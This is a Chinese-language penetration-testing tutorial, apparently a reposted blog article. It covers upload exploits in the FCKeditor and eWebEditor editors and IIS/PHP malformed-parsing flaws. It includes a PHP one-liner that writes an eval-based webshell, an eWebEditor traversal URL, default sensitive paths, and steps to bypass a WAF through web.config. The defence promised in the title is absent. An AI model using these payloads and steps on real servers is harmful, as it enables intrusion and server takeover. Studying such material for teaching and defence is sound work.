[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

  • A+
所属分类:安全文章

前文分享(下面的超链接可以点击喔):

[网络安全] 一.Web渗透入门基础与安全术语普及

[网络安全] 二.Web渗透信息收集之域名、端口、服务、指纹、旁站、CDN和敏感信息

[网络安全] 三.社会工程学那些事及IP物理定位

[网络安全] 四.手工SQL注入和SQLMAP入门基础及案例详解

[网络安全] 五.XSS跨站脚本攻击详解及分类-1

[网络安全] 六.XSS跨站脚本攻击靶场案例九题及防御方法-2

[网络安全] 七.Burp Suite工具安装配置、Proxy基础用法及暴库入门示例

[网络安全] 八.Web漏洞及端口扫描之ZeNmap、ThreatScan和DirBuster工具

[网络安全] 九.Wireshark安装入门及抓取网站用户名密码-1

[网络安全] 十.Wireshark抓包原理、ARP劫持、MAC泛洪及数据流追踪-2

[网络安全] 十一.Shodan搜索引擎详解及Python命令行调用

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

[网络安全] 十三.文件上传漏洞 (2)常用绕过方法及IIS6.0解析漏洞


[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御


文章目录

  • 一.编辑器漏洞


    • 1.编辑器

    • 2.FCKeditor编辑器漏洞利用

    • 3.eWebEditor编辑器漏洞

  • 二.IIS高版本上传


    • 1.畸形解析漏洞

    • 2.案例分析

    • 3.aspx漏洞

  • 三.总结



一.编辑器漏洞

1.编辑器

编辑器属于第三方软件,它的作用是方便网站管理员上传或编辑网站上的内容,类似我们电脑上的Word文档。

编辑器通常分为两种情况:
(1) 不需要后台验证,可以直接在前台访问且操作。通过方法找到编辑器,再进行目录爆破(用御剑去扫描网站的目录)和蜘蛛爬行(AWS扫描器去判断是否存在网站编辑器)。

通常,存在 www.xxx.com/edit 或 www.xxx.com/uploadfiles 的域名,很可能会存在编辑器。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

(2) 需要后台验证,才能操作编辑器。先通过漏洞或其他方法登录后台。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

常用编辑器包括:

  • FCKeditor

  • EWEbeditor

  • CKFinder

  • UEDITOR

  • DotNet TextBox

  • Cute Editor

其中,用的次数较多的两种编辑器是FCK和eWEB,本篇博客将用这两种编辑器作演示。


2.FCKeditor编辑器漏洞利用

FCKeditor常见上传目录:

  • FCKeditor/editor/filemanager/browser/default/connectors/test.html

  • FCKeditor/editor/filemanager/upload/test.html

  • FCKeditor/editor/filemanager/connectors/test.html

  • FCKeditor/editor/filemanager/connectors/uploadtest.html

(1) FCK编辑器漏洞 —— “.” 变 “_” 绕过方法
在高版本fck中,直接上传或抓包修改文件名“a.asp;.jpg”,都会将前面的点变成下划线,也就是变成“a_asp;.jpg”,这样我们的文件名解析就无效果了。绕过方法是突破建立文件夹,其实质是利用我们IIS6.0的目录解析(参考前文)。

编辑器漏洞利用常见步骤如下:

  • 找到编辑器。可以通过编辑器路径的文件名来判断是什么编辑器。

  • 确认版本。

  • 搜索该版本编辑器的漏洞利用。

假设路径为“/fckeditor/editor/filemanager/connectors/test.html”,文件名中包含“fck”,可以直接判定为FCK编辑器。打开如下图所示:

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

在FCKeditor中选中“a.asp;.png”并成功上传,如下图所示。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

打开服务器,可以看到成功上传的图片文件。它名字被修改为“a_asp;.png”,这就是FCK高版本的过滤,它将“.”修改为“_”。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御


(2) FCK编辑器还有一个突破文件上传漏洞
它是利用IIS6的目录解析漏洞,我们先建立一个“a.asp”文件夹,然后上传图片一句话木马“a_asp;.png”,IIS6目录解析漏洞会将“a.asp”目录下的文件都解析成asp文件去执行。

第一步,打开FCK编辑器并在“a.asp”目录下上传一个“b.asp”文件夹。注意,在“Current Folder”中需要填写“/a.asp”。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

第二步,打开BurpSuite软件抓包。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

可以看到,我们在a.asp目录下创建了“b_asp”文件夹,这是因为“.”被FCK漏洞替换成了“_”。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

第三步,这样“a.asp”文件夹就被成功创建,接着将一句话木马上传至该文件夹中。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

上传之后如下图所示:

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

当一句话木马上传成功之后,我们就可以成功利用Caidao进行Webshell目录获取了。最后补充一个FCK编辑器漏洞综合利用工具:https://www.webshell.cc/4479.html

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御


3.eWebEditor编辑器漏洞

eWebEditor编辑器漏洞利用的基本流程如下:

  • (1) 进后台
    eWeb编辑器需要登录后台,其默认数据库地址是:ewebeditor/db/ewebeditor.mdb

  • (2) eweb遍历漏洞
    利用该漏洞遍历文件目录、查看整个网站结构及敏感信息
    ewebeditor/admin_uploadfile.asp?id=14&dir=./

  • (3) 修改样式表上传文件

如下图所示,这里选择某个样式表进行设置。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

然后在图片类型中,增加“asa”类型。“.asa”可以被当成“.asp”文件去执行,而网站可能会过滤“asp”类型的后缀,所以这里添加“.asa”。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

打开“工具栏”,显示如下图所示:

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

点击“按钮设置”,准备添加按钮。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

选择“插入或修改图片”,然后“保存设置”。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

此时返回页面,点击“预览”可以看到我们已经添加的“插入或修改图片”按钮。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

然后直接上传“1.asa”文件,如下图所示。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

然后点击代码,可以看到这是一个木马的文件路径。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

所以,编辑器其实就是一个上传点,通过解析漏洞或多种文件上传漏洞可以实现绕过并上传一句话木马,从而提权。


二.IIS高版本上传

IIS6.0毕竟是一个低版本,除了靶场和僵尸站很少能够遇到。真实的渗透中,会遇到很多的问题,比如WAF、高版本过滤、安全狗、被拦截绕过、不解析等等。接下来分享一个IIS高版本上传思路。

1.畸形解析漏洞

畸形解析漏洞影响版本:IIS7、IIS7.5、Nginx<0.8.03
漏洞产生条件是开启Fast-CGI或php配置文件中cgi.fix_pathinfo

其漏洞不是IIS本身的问题,而是PHP配置不当造成的问题,根本原因是开启了cgi.fix_pathinfo选项。由于该漏洞是php配置造成,并且默认开启该功能,所以它影响了IIS7、IIS7.5、IIS8.5等多个版本,凡是IIS+PHP都有可能会有这个漏洞。

漏洞利用方法:当我们上传一张名为“1.jpg”的图片文件,并且这张图片文件里包含以下代码。

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>
  • 1


那么它会生成一个叫shell.php的脚本文件,并写入我们的一句话,密码为cmd。而一句话的位置是:上传的图片文件名字“/shell.php”。如果图片没有被改名,那么现在我们的一句话文件在“1.jpg/shell.php”中。


2.案例分析

假设我们向IIS+PHP搭建的远程服务器上传“1.jpg”文件。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

开启服务器如下图所示:

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

“1.jpg”代码包含如下代码 ,它能显示PHP配置信息。

<?php phpinfo(); ?>
  • 1


[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

通过URL能够访问PHP的版本信息,如下图所示。该URL运行了我们的PHP代码,所以才返回相应的配置信息。在URL(49.234.12.78/1.jpg/.php)中,首先访问“.php”文件,它是不存在的,所以跳到前面的“1.jpg”位置,而“1.jpg”是存在的并且包含php代码,就会把它当成php文件去执行,并获取PHP配置信息。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

为什么IIS高版本会存在这个漏洞呢?
这是因为IIS高版本在搭建php网站的时候,它会开启CGI/FastCGI,并且php配置文件选项默认开启。所以,该畸形解析漏洞不光存在于IIS7、IIS7.5,还有IIS8、IIS10等版本。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

接着我们演示另一个代码,将“1.jpg”内容修改如下,直接写入shell。

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>
  • 1


[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

访问“/1.jpg/shell.php”显示的内容为空。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

但是此时会在服务器生成一个名为“shell.php”的文件,如下图所示:

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

并且“shell.php”包含了我们的一句话木马。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

这样通过Caidao即可访问该页面,并获取服务器的文件目录。


3.aspx漏洞

aspx它有一个“web.config”的配置文件,它规定我们上传文件的后缀。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

我们可以自定一个后缀名来解析aspx文件。

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

换句话说,当我们遇到可以上传配置文件的时候,则上传我们修改好的配置文件,然后自定义一个后缀名如“.ad”,从而绕过WAF或检测,上传成功之后它会解析成aspx并执行。如下图所示:

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

所以,当我们遇到可以上传配置文件的时候,通过该方法实现绕过,从而提权。


三.总结

写到这里,这篇基础性文章就此结束,最后希望这篇基础性文章对您有所帮助。作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。


[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御


一如既往的学习,一如既往的整理,一如即往的分享。感谢支持[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

“如侵权请私聊公众号删文”



扫描关注LemonSec

[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

觉得不错点个“赞”、“在看”哦[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御


本文始发于微信公众号(LemonSec):[网络安全] 十四、文件上传漏洞(3)、编辑器漏洞和IIS高版本漏洞及防御

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: